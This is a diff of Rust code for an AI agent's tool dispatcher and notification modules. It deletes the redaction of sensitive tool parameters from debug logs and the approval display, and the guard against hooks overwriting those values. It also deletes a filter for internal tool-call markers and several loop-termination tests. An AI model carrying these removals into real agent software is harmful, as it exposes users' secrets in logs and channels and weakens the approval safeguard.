context: "chat".to_string(),
|
context: "chat".to_string(),
|
||||||
};
|
};
|
||||||
@@ -411,20 +375,8 @@ impl Agent {
|
|||||||
}
|
}
|
||||||
Ok(crate::hooks::HookOutcome::Continue {
|
Ok(crate::hooks::HookOutcome::Continue {
|
||||||
modified: Some(new_params),
|
modified: Some(new_params),
|
||||||
}) => match serde_json::from_str::<serde_json::Value>(&new_params) {
|
}) => match serde_json::from_str(&new_params) {
|
||||||
Ok(mut parsed) => {
|
Ok(parsed) => tc.arguments = parsed,
|
||||||
// Restore original sensitive param values so a hook
|
|
||||||
// cannot overwrite them (they were sent as [REDACTED]).
|
|
||||||
if let Some(obj) = parsed.as_object_mut() {
|
|
||||||
for key in sensitive {
|
|
||||||
if let Some(orig_val) = original_tc.arguments.get(*key)
|
|
||||||
{
|
|
||||||
obj.insert((*key).to_string(), orig_val.clone());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
tc.arguments = parsed;
|
|
||||||
}
|
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
tracing::warn!(
|
tracing::warn!(
|
||||||
tool = %tc.name,
|
tool = %tc.name,
|
||||||
@@ -439,7 +391,7 @@ impl Agent {
|
|||||||
// Check if tool requires approval on the final (post-hook)
|
// Check if tool requires approval on the final (post-hook)
|
||||||
// parameters. Skipped when auto_approve_tools is set.
|
// parameters. Skipped when auto_approve_tools is set.
|
||||||
if !self.config.auto_approve_tools
|
if !self.config.auto_approve_tools
|
||||||
&& let Some(tool) = tool_opt
|
&& let Some(tool) = self.tools().get(&tc.name).await
|
||||||
{
|
{
|
||||||
use crate::tools::ApprovalRequirement;
|
use crate::tools::ApprovalRequirement;
|
||||||
let needs_approval = match tool.requires_approval(&tc.arguments) {
|
let needs_approval = match tool.requires_approval(&tc.arguments) {
|
||||||
@@ -486,17 +438,14 @@ impl Agent {
|
|||||||
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
|
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
let disp_tool = self.tools().get(&tc.name).await;
|
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
.send_status(
|
.send_status(
|
||||||
&message.channel,
|
&message.channel,
|
||||||
StatusUpdate::tool_completed(
|
StatusUpdate::ToolCompleted {
|
||||||
tc.name.clone(),
|
name: tc.name.clone(),
|
||||||
&result,
|
success: result.is_ok(),
|
||||||
&tc.arguments,
|
},
|
||||||
disp_tool.as_deref(),
|
|
||||||
),
|
|
||||||
&message.metadata,
|
&message.metadata,
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
@@ -537,16 +486,13 @@ impl Agent {
|
|||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
let par_tool = tools.get(&tc.name).await;
|
|
||||||
let _ = channels
|
let _ = channels
|
||||||
.send_status(
|
.send_status(
|
||||||
&channel,
|
&channel,
|
||||||
StatusUpdate::tool_completed(
|
StatusUpdate::ToolCompleted {
|
||||||
tc.name.clone(),
|
name: tc.name.clone(),
|
||||||
&result,
|
success: result.is_ok(),
|
||||||
&tc.arguments,
|
},
|
||||||
par_tool.as_deref(),
|
|
||||||
),
|
|
||||||
&metadata,
|
&metadata,
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
@@ -716,15 +662,10 @@ impl Agent {
|
|||||||
|
|
||||||
// Handle approval if a tool needed it
|
// Handle approval if a tool needed it
|
||||||
if let Some((approval_idx, tc, tool)) = approval_needed {
|
if let Some((approval_idx, tc, tool)) = approval_needed {
|
||||||
// Show redacted params in the approval UI — the user already knows
|
|
||||||
// the sensitive value (they provided it); showing it again is
|
|
||||||
// unnecessary and creates a leakage path through channel logs.
|
|
||||||
let display_params = redact_params(&tc.arguments, tool.sensitive_params());
|
|
||||||
let pending = PendingApproval {
|
let pending = PendingApproval {
|
||||||
request_id: Uuid::new_v4(),
|
request_id: Uuid::new_v4(),
|
||||||
tool_name: tc.name.clone(),
|
tool_name: tc.name.clone(),
|
||||||
parameters: tc.arguments.clone(),
|
parameters: tc.arguments.clone(),
|
||||||
display_parameters: display_params,
|
|
||||||
description: tool.description().to_string(),
|
description: tool.description().to_string(),
|
||||||
tool_call_id: tc.id.clone(),
|
tool_call_id: tc.id.clone(),
|
||||||
context_messages: context_messages.clone(),
|
context_messages: context_messages.clone(),
|
||||||
@@ -784,10 +725,9 @@ pub(super) async fn execute_chat_tool_standalone(
|
|||||||
.into());
|
.into());
|
||||||
}
|
}
|
||||||
|
|
||||||
let safe_params = redact_params(params, tool.sensitive_params());
|
|
||||||
tracing::debug!(
|
tracing::debug!(
|
||||||
tool = %tool_name,
|
tool = %tool_name,
|
||||||
params = %safe_params,
|
params = %params,
|
||||||
"Tool call started"
|
"Tool call started"
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -951,38 +891,6 @@ fn compact_messages_for_retry(messages: &[ChatMessage]) -> Vec<ChatMessage> {
|
|||||||
compacted
|
compacted
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Strip internal `[Called tool ...]` and `[Tool ... returned: ...]` markers
|
|
||||||
/// from a response string. These markers are inserted by provider-level message
|
|
||||||
/// flattening (e.g. NEAR AI) and can leak into the user-visible response when
|
|
||||||
/// the LLM echoes them back.
|
|
||||||
fn strip_internal_tool_call_text(text: &str) -> String {
|
|
||||||
// Remove lines that are purely internal tool-call markers.
|
|
||||||
// Pattern: lines matching `[Called tool <name>(...)]` or `[Tool <name> returned: ...]`
|
|
||||||
let result = text
|
|
||||||
.lines()
|
|
||||||
.filter(|line| {
|
|
||||||
let trimmed = line.trim();
|
|
||||||
!((trimmed.starts_with("[Called tool ") && trimmed.ends_with(']'))
|
|
||||||
|| (trimmed.starts_with("[Tool ")
|
|
||||||
&& trimmed.contains(" returned:")
|
|
||||||
&& trimmed.ends_with(']')))
|
|
||||||
})
|
|
||||||
.fold(String::new(), |mut acc, s| {
|
|
||||||
if !acc.is_empty() {
|
|
||||||
acc.push('\n');
|
|
||||||
}
|
|
||||||
acc.push_str(s);
|
|
||||||
acc
|
|
||||||
});
|
|
||||||
|
|
||||||
let result = result.trim();
|
|
||||||
if result.is_empty() {
|
|
||||||
"I wasn't able to complete that request. Could you try rephrasing or providing more details?".to_string()
|
|
||||||
} else {
|
|
||||||
result.to_string()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
@@ -1065,7 +973,6 @@ mod tests {
|
|||||||
skills_config: SkillsConfig::default(),
|
skills_config: SkillsConfig::default(),
|
||||||
hooks: Arc::new(HookRegistry::new()),
|
hooks: Arc::new(HookRegistry::new()),
|
||||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
||||||
sse_tx: None,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
Agent::new(
|
Agent::new(
|
||||||
@@ -1169,7 +1076,6 @@ mod tests {
|
|||||||
request_id: uuid::Uuid::new_v4(),
|
request_id: uuid::Uuid::new_v4(),
|
||||||
tool_name: "shell".to_string(),
|
tool_name: "shell".to_string(),
|
||||||
parameters: serde_json::json!({"command": "echo hi"}),
|
parameters: serde_json::json!({"command": "echo hi"}),
|
||||||
display_parameters: serde_json::json!({"command": "echo hi"}),
|
|
||||||
description: "Run shell command".to_string(),
|
description: "Run shell command".to_string(),
|
||||||
tool_call_id: "call_1".to_string(),
|
tool_call_id: "call_1".to_string(),
|
||||||
context_messages: vec![],
|
context_messages: vec![],
|
||||||
@@ -1519,499 +1425,4 @@ mod tests {
|
|||||||
.count();
|
.count();
|
||||||
assert_eq!(nudge_count, 1);
|
assert_eq!(nudge_count, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan P2 - 2.7: Context length recovery ===
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_context_length_recovery_via_compaction_and_retry() {
|
|
||||||
// Simulates the dispatcher's recovery path:
|
|
||||||
// 1. Provider returns ContextLengthExceeded
|
|
||||||
// 2. compact_messages_for_retry reduces context
|
|
||||||
// 3. Retry with compacted messages succeeds
|
|
||||||
use crate::llm::Reasoning;
|
|
||||||
use crate::testing::StubLlm;
|
|
||||||
|
|
||||||
let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb"));
|
|
||||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
|
||||||
max_output_length: 100_000,
|
|
||||||
injection_check_enabled: false,
|
|
||||||
}));
|
|
||||||
|
|
||||||
let reasoning = Reasoning::new(stub.clone(), safety);
|
|
||||||
|
|
||||||
// Build a fat context with lots of history.
|
|
||||||
let messages = vec![
|
|
||||||
ChatMessage::system("You are a helpful assistant."),
|
|
||||||
ChatMessage::user("First question"),
|
|
||||||
ChatMessage::assistant("First answer"),
|
|
||||||
ChatMessage::user("Second question"),
|
|
||||||
ChatMessage::assistant("Second answer"),
|
|
||||||
ChatMessage::user("Third question"),
|
|
||||||
ChatMessage::assistant("Third answer"),
|
|
||||||
ChatMessage::user("Current request"),
|
|
||||||
];
|
|
||||||
|
|
||||||
let context = crate::llm::ReasoningContext::new().with_messages(messages.clone());
|
|
||||||
|
|
||||||
// Step 1: First call fails with ContextLengthExceeded.
|
|
||||||
let err = reasoning.respond_with_tools(&context).await.unwrap_err();
|
|
||||||
assert!(
|
|
||||||
matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }),
|
|
||||||
"Expected ContextLengthExceeded, got: {:?}",
|
|
||||||
err
|
|
||||||
);
|
|
||||||
assert_eq!(stub.calls(), 1);
|
|
||||||
|
|
||||||
// Step 2: Compact messages (same as dispatcher lines 226).
|
|
||||||
let compacted = compact_messages_for_retry(&messages);
|
|
||||||
// Should have dropped the old history, kept system + note + last user.
|
|
||||||
assert!(compacted.len() < messages.len());
|
|
||||||
assert_eq!(compacted.last().unwrap().content, "Current request");
|
|
||||||
|
|
||||||
// Step 3: Switch provider to success and retry.
|
|
||||||
stub.set_failing(false);
|
|
||||||
let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted);
|
|
||||||
|
|
||||||
let result = reasoning.respond_with_tools(&retry_context).await;
|
|
||||||
assert!(result.is_ok(), "Retry after compaction should succeed");
|
|
||||||
assert_eq!(stub.calls(), 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
// === QA Plan P2 - 4.3: Dispatcher loop guard tests ===
|
|
||||||
|
|
||||||
/// LLM provider that always returns tool calls when tools are available,
|
|
||||||
/// and text when tools are empty (simulating force_text stripping tools).
|
|
||||||
struct AlwaysToolCallProvider;
|
|
||||||
|
|
||||||
#[async_trait]
|
|
||||||
impl LlmProvider for AlwaysToolCallProvider {
|
|
||||||
fn model_name(&self) -> &str {
|
|
||||||
"always-tool-call"
|
|
||||||
}
|
|
||||||
|
|
||||||
fn cost_per_token(&self) -> (Decimal, Decimal) {
|
|
||||||
(Decimal::ZERO, Decimal::ZERO)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn complete(
|
|
||||||
&self,
|
|
||||||
_request: CompletionRequest,
|
|
||||||
) -> Result<CompletionResponse, crate::error::LlmError> {
|
|
||||||
Ok(CompletionResponse {
|
|
||||||
content: "forced text response".to_string(),
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 5,
|
|
||||||
finish_reason: FinishReason::Stop,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn complete_with_tools(
|
|
||||||
&self,
|
|
||||||
request: ToolCompletionRequest,
|
|
||||||
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
|
|
||||||
if request.tools.is_empty() {
|
|
||||||
// No tools = force_text mode; return text.
|
|
||||||
return Ok(ToolCompletionResponse {
|
|
||||||
content: Some("forced text response".to_string()),
|
|
||||||
tool_calls: Vec::new(),
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 5,
|
|
||||||
finish_reason: FinishReason::Stop,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
// Tools available: always call one.
|
|
||||||
Ok(ToolCompletionResponse {
|
|
||||||
content: None,
|
|
||||||
tool_calls: vec![ToolCall {
|
|
||||||
id: format!("call_{}", uuid::Uuid::new_v4()),
|
|
||||||
name: "echo".to_string(),
|
|
||||||
arguments: serde_json::json!({"message": "looping"}),
|
|
||||||
}],
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 5,
|
|
||||||
finish_reason: FinishReason::ToolUse,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn force_text_prevents_infinite_tool_call_loop() {
|
|
||||||
// Verify that Reasoning with force_text=true returns text even when
|
|
||||||
// the provider would normally return tool calls.
|
|
||||||
use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition};
|
|
||||||
|
|
||||||
let provider = Arc::new(AlwaysToolCallProvider);
|
|
||||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
|
||||||
max_output_length: 100_000,
|
|
||||||
injection_check_enabled: false,
|
|
||||||
}));
|
|
||||||
let reasoning = Reasoning::new(provider, safety);
|
|
||||||
|
|
||||||
let tool_def = ToolDefinition {
|
|
||||||
name: "echo".to_string(),
|
|
||||||
description: "Echo a message".to_string(),
|
|
||||||
parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Without force_text: provider returns tool calls.
|
|
||||||
let ctx_normal = ReasoningContext::new()
|
|
||||||
.with_messages(vec![ChatMessage::user("hello")])
|
|
||||||
.with_tools(vec![tool_def.clone()]);
|
|
||||||
let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap();
|
|
||||||
assert!(
|
|
||||||
matches!(output.result, RespondResult::ToolCalls { .. }),
|
|
||||||
"Without force_text, should get tool calls"
|
|
||||||
);
|
|
||||||
|
|
||||||
// With force_text: provider must return text (tools stripped).
|
|
||||||
let mut ctx_forced = ReasoningContext::new()
|
|
||||||
.with_messages(vec![ChatMessage::user("hello")])
|
|
||||||
.with_tools(vec![tool_def]);
|
|
||||||
ctx_forced.force_text = true;
|
|
||||||
let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap();
|
|
||||||
assert!(
|
|
||||||
matches!(output.result, RespondResult::Text(_)),
|
|
||||||
"With force_text, should get text response, got: {:?}",
|
|
||||||
output.result
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn iteration_bounds_guarantee_termination() {
|
|
||||||
// Verify the arithmetic that guards against infinite loops:
|
|
||||||
// force_text_at = max_tool_iterations
|
|
||||||
// nudge_at = max_tool_iterations - 1
|
|
||||||
// hard_ceiling = max_tool_iterations + 1
|
|
||||||
for max_iter in [1_usize, 2, 5, 10, 50] {
|
|
||||||
let force_text_at = max_iter;
|
|
||||||
let nudge_at = max_iter.saturating_sub(1);
|
|
||||||
let hard_ceiling = max_iter + 1;
|
|
||||||
|
|
||||||
// force_text_at must be reachable (> 0)
|
|
||||||
assert!(
|
|
||||||
force_text_at > 0,
|
|
||||||
"force_text_at must be > 0 for max_iter={max_iter}"
|
|
||||||
);
|
|
||||||
|
|
||||||
// nudge comes before or at the same time as force_text
|
|
||||||
assert!(
|
|
||||||
nudge_at <= force_text_at,
|
|
||||||
"nudge_at ({nudge_at}) > force_text_at ({force_text_at})"
|
|
||||||
);
|
|
||||||
|
|
||||||
// hard ceiling is strictly after force_text
|
|
||||||
assert!(
|
|
||||||
hard_ceiling > force_text_at,
|
|
||||||
"hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Simulate iteration: every iteration from 1..=hard_ceiling
|
|
||||||
// At force_text_at, force_text=true (should produce text and break).
|
|
||||||
// At hard_ceiling, the error fires (safety net).
|
|
||||||
let mut hit_force_text = false;
|
|
||||||
let mut hit_ceiling = false;
|
|
||||||
for iteration in 1..=hard_ceiling {
|
|
||||||
if iteration >= force_text_at {
|
|
||||||
hit_force_text = true;
|
|
||||||
}
|
|
||||||
if iteration > max_iter + 1 {
|
|
||||||
hit_ceiling = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
assert!(
|
|
||||||
hit_force_text,
|
|
||||||
"force_text never triggered for max_iter={max_iter}"
|
|
||||||
);
|
|
||||||
// The ceiling should only fire if force_text somehow didn't break
|
|
||||||
assert!(
|
|
||||||
hit_ceiling || hard_ceiling <= max_iter + 1,
|
|
||||||
"ceiling logic inconsistent for max_iter={max_iter}"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// LLM provider that always returns calls to a nonexistent tool, regardless
|
|
||||||
/// of whether tools are available. When tools are stripped (force_text), it
|
|
||||||
/// returns text.
|
|
||||||
struct FailingToolCallProvider;
|
|
||||||
|
|
||||||
#[async_trait]
|
|
||||||
impl LlmProvider for FailingToolCallProvider {
|
|
||||||
fn model_name(&self) -> &str {
|
|
||||||
"failing-tool-call"
|
|
||||||
}
|
|
||||||
|
|
||||||
fn cost_per_token(&self) -> (Decimal, Decimal) {
|
|
||||||
(Decimal::ZERO, Decimal::ZERO)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn complete(
|
|
||||||
&self,
|
|
||||||
_request: CompletionRequest,
|
|
||||||
) -> Result<CompletionResponse, crate::error::LlmError> {
|
|
||||||
Ok(CompletionResponse {
|
|
||||||
content: "forced text".to_string(),
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 2,
|
|
||||||
finish_reason: FinishReason::Stop,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn complete_with_tools(
|
|
||||||
&self,
|
|
||||||
request: ToolCompletionRequest,
|
|
||||||
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
|
|
||||||
if request.tools.is_empty() {
|
|
||||||
return Ok(ToolCompletionResponse {
|
|
||||||
content: Some("forced text".to_string()),
|
|
||||||
tool_calls: Vec::new(),
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 2,
|
|
||||||
finish_reason: FinishReason::Stop,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
// Always call a tool that does not exist in the registry.
|
|
||||||
Ok(ToolCompletionResponse {
|
|
||||||
content: None,
|
|
||||||
tool_calls: vec![ToolCall {
|
|
||||||
id: format!("call_{}", uuid::Uuid::new_v4()),
|
|
||||||
name: "nonexistent_tool".to_string(),
|
|
||||||
arguments: serde_json::json!({}),
|
|
||||||
}],
|
|
||||||
input_tokens: 0,
|
|
||||||
output_tokens: 5,
|
|
||||||
finish_reason: FinishReason::ToolUse,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Helper to build a test Agent with a custom LLM provider and
|
|
||||||
/// `max_tool_iterations` override.
|
|
||||||
fn make_test_agent_with_llm(llm: Arc<dyn LlmProvider>, max_tool_iterations: usize) -> Agent {
|
|
||||||
let deps = AgentDeps {
|
|
||||||
store: None,
|
|
||||||
llm,
|
|
||||||
cheap_llm: None,
|
|
||||||
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
|
|
||||||
max_output_length: 100_000,
|
|
||||||
injection_check_enabled: false,
|
|
||||||
})),
|
|
||||||
tools: Arc::new(ToolRegistry::new()),
|
|
||||||
workspace: None,
|
|
||||||
extension_manager: None,
|
|
||||||
skill_registry: None,
|
|
||||||
skill_catalog: None,
|
|
||||||
skills_config: SkillsConfig::default(),
|
|
||||||
hooks: Arc::new(HookRegistry::new()),
|
|
||||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
|
||||||
sse_tx: None,
|
|
||||||
};
|
|
||||||
|
|
||||||
Agent::new(
|
|
||||||
AgentConfig {
|
|
||||||
name: "test-agent".to_string(),
|
|
||||||
max_parallel_jobs: 1,
|
|
||||||
job_timeout: Duration::from_secs(60),
|
|
||||||
stuck_threshold: Duration::from_secs(60),
|
|
||||||
repair_check_interval: Duration::from_secs(30),
|
|
||||||
max_repair_attempts: 1,
|
|
||||||
use_planning: false,
|
|
||||||
session_idle_timeout: Duration::from_secs(300),
|
|
||||||
allow_local_tools: false,
|
|
||||||
max_cost_per_day_cents: None,
|
|
||||||
max_actions_per_hour: None,
|
|
||||||
max_tool_iterations,
|
|
||||||
auto_approve_tools: true,
|
|
||||||
},
|
|
||||||
deps,
|
|
||||||
Arc::new(ChannelManager::new()),
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
Some(Arc::new(ContextManager::new(1))),
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Regression test for the infinite loop bug (PR #252) where `continue`
|
|
||||||
/// skipped the index increment. When every tool call fails (e.g., tool not
|
|
||||||
/// found), the dispatcher must still advance through all calls and
|
|
||||||
/// eventually terminate via the force_text / max_iterations guard.
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_dispatcher_terminates_with_all_tool_calls_failing() {
|
|
||||||
use crate::agent::session::Session;
|
|
||||||
use crate::channels::IncomingMessage;
|
|
||||||
use crate::llm::ChatMessage;
|
|
||||||
use tokio::sync::Mutex;
|
|
||||||
|
|
||||||
let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5);
|
|
||||||
|
|
||||||
let session = Arc::new(Mutex::new(Session::new("test-user")));
|
|
||||||
|
|
||||||
// Initialize a thread in the session so the loop can record tool calls.
|
|
||||||
let thread_id = {
|
|
||||||
let mut sess = session.lock().await;
|
|
||||||
sess.create_thread().id
|
|
||||||
};
|
|
||||||
|
|
||||||
let message = IncomingMessage::new("test", "test-user", "do something");
|
|
||||||
let initial_messages = vec![ChatMessage::user("do something")];
|
|
||||||
|
|
||||||
// The dispatcher must terminate within 5 seconds. If there is an
|
|
||||||
// infinite loop bug (e.g., index not advancing on tool failure), the
|
|
||||||
// timeout will fire and the test will fail.
|
|
||||||
let result = tokio::time::timeout(
|
|
||||||
Duration::from_secs(5),
|
|
||||||
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
result.is_ok(),
|
|
||||||
"Dispatcher timed out -- possible infinite loop when all tool calls fail"
|
|
||||||
);
|
|
||||||
|
|
||||||
// The loop should complete (either with a text response from force_text,
|
|
||||||
// or an error from the hard ceiling). Both are acceptable termination.
|
|
||||||
let inner = result.unwrap();
|
|
||||||
assert!(
|
|
||||||
inner.is_ok(),
|
|
||||||
"Dispatcher returned an error: {:?}",
|
|
||||||
inner.err()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Verify that the max_iterations guard terminates the loop even when the
|
|
||||||
/// LLM always returns tool calls and those calls succeed.
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_dispatcher_terminates_with_max_iterations() {
|
|
||||||
use crate::agent::session::Session;
|
|
||||||
use crate::channels::IncomingMessage;
|
|
||||||
use crate::llm::ChatMessage;
|
|
||||||
use crate::tools::builtin::EchoTool;
|
|
||||||
use tokio::sync::Mutex;
|
|
||||||
|
|
||||||
// Use AlwaysToolCallProvider which calls "echo" on every turn.
|
|
||||||
// Register the echo tool so the calls succeed.
|
|
||||||
let llm: Arc<dyn LlmProvider> = Arc::new(AlwaysToolCallProvider);
|
|
||||||
let max_iter = 3;
|
|
||||||
let agent = {
|
|
||||||
let deps = AgentDeps {
|
|
||||||
store: None,
|
|
||||||
llm,
|
|
||||||
cheap_llm: None,
|
|
||||||
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
|
|
||||||
max_output_length: 100_000,
|
|
||||||
injection_check_enabled: false,
|
|
||||||
})),
|
|
||||||
tools: {
|
|
||||||
let registry = Arc::new(ToolRegistry::new());
|
|
||||||
registry.register_sync(Arc::new(EchoTool));
|
|
||||||
registry
|
|
||||||
},
|
|
||||||
workspace: None,
|
|
||||||
extension_manager: None,
|
|
||||||
skill_registry: None,
|
|
||||||
skill_catalog: None,
|
|
||||||
skills_config: SkillsConfig::default(),
|
|
||||||
hooks: Arc::new(HookRegistry::new()),
|
|
||||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
|
||||||
sse_tx: None,
|
|
||||||
};
|
|
||||||
|
|
||||||
Agent::new(
|
|
||||||
AgentConfig {
|
|
||||||
name: "test-agent".to_string(),
|
|
||||||
max_parallel_jobs: 1,
|
|
||||||
job_timeout: Duration::from_secs(60),
|
|
||||||
stuck_threshold: Duration::from_secs(60),
|
|
||||||
repair_check_interval: Duration::from_secs(30),
|
|
||||||
max_repair_attempts: 1,
|
|
||||||
use_planning: false,
|
|
||||||
session_idle_timeout: Duration::from_secs(300),
|
|
||||||
allow_local_tools: false,
|
|
||||||
max_cost_per_day_cents: None,
|
|
||||||
max_actions_per_hour: None,
|
|
||||||
max_tool_iterations: max_iter,
|
|
||||||
auto_approve_tools: true,
|
|
||||||
},
|
|
||||||
deps,
|
|
||||||
Arc::new(ChannelManager::new()),
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
Some(Arc::new(ContextManager::new(1))),
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
let session = Arc::new(Mutex::new(Session::new("test-user")));
|
|
||||||
let thread_id = {
|
|
||||||
let mut sess = session.lock().await;
|
|
||||||
sess.create_thread().id
|
|
||||||
};
|
|
||||||
|
|
||||||
let message = IncomingMessage::new("test", "test-user", "keep calling tools");
|
|
||||||
let initial_messages = vec![ChatMessage::user("keep calling tools")];
|
|
||||||
|
|
||||||
// Even with an LLM that always wants to call tools, the dispatcher
|
|
||||||
// must terminate within the timeout thanks to force_text at
|
|
||||||
// max_tool_iterations.
|
|
||||||
let result = tokio::time::timeout(
|
|
||||||
Duration::from_secs(5),
|
|
||||||
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
result.is_ok(),
|
|
||||||
"Dispatcher timed out -- max_iterations guard failed to terminate the loop"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Should get a successful text response (force_text kicks in).
|
|
||||||
let inner = result.unwrap();
|
|
||||||
assert!(
|
|
||||||
inner.is_ok(),
|
|
||||||
"Dispatcher returned an error: {:?}",
|
|
||||||
inner.err()
|
|
||||||
);
|
|
||||||
|
|
||||||
// Verify we got a text response.
|
|
||||||
match inner.unwrap() {
|
|
||||||
super::AgenticLoopResult::Response(text) => {
|
|
||||||
assert!(!text.is_empty(), "Expected non-empty forced text response");
|
|
||||||
}
|
|
||||||
super::AgenticLoopResult::NeedApproval { .. } => {
|
|
||||||
panic!("Expected text response, got NeedApproval");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_internal_tool_call_text_removes_markers() {
|
|
||||||
let input = "[Called tool search({\"query\": \"test\"})]\nHere is the answer.";
|
|
||||||
let result = super::strip_internal_tool_call_text(input);
|
|
||||||
assert_eq!(result, "Here is the answer.");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_internal_tool_call_text_removes_returned_markers() {
|
|
||||||
let input = "[Tool search returned: some result]\nSummary of findings.";
|
|
||||||
let result = super::strip_internal_tool_call_text(input);
|
|
||||||
assert_eq!(result, "Summary of findings.");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_internal_tool_call_text_all_markers_yields_fallback() {
|
|
||||||
let input = "[Called tool search({\"query\": \"test\"})]\n[Tool search returned: error]";
|
|
||||||
let result = super::strip_internal_tool_call_text(input);
|
|
||||||
assert!(result.contains("wasn't able to complete"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_internal_tool_call_text_preserves_normal_text() {
|
|
||||||
let input = "This is a normal response with [brackets] inside.";
|
|
||||||
let result = super::strip_internal_tool_call_text(input);
|
|
||||||
assert_eq!(result, input);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -294,7 +294,6 @@ impl HeartbeatRunner {
|
|||||||
let response = OutgoingResponse {
|
let response = OutgoingResponse {
|
||||||
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
|
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
|
||||||
thread_id: None,
|
thread_id: None,
|
||||||
attachments: Vec::new(),
|
|
||||||
metadata: serde_json::json!({
|
metadata: serde_json::json!({
|
||||||
"source": "heartbeat",
|
"source": "heartbeat",
|
||||||
}),
|
}),
|
||||||
|
|||||||
@@ -600,13 +600,10 @@ async fn send_notification(
|
|||||||
let response = OutgoingResponse {
|
let response = OutgoingResponse {
|
||||||
content: message,
|
content: message,
|
||||||
thread_id: None,
|
thread_id: None,
|
||||||
attachments: Vec::new(),
|
|
||||||
metadata: serde_json::json!({
|
metadata: serde_json::json!({
|
||||||
"source": "routine",
|
"source": "routine",
|
||||||
"routine_name": routine_name,
|
"routine_name": routine_name,
|
||||||
"status": status.to_string(),
|
"status": status.to_string(),
|
||||||
"notify_user": notify.user,
|
|
||||||
"notify_channel": notify.channel,
|
|
||||||
}),
|
}),
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ use uuid::Uuid;
|
|||||||
|
|
||||||
use crate::agent::task::{Task, TaskContext, TaskOutput};
|
use crate::agent::task::{Task, TaskContext, TaskOutput};
|
||||||
use crate::agent::worker::{Worker, WorkerDeps};
|
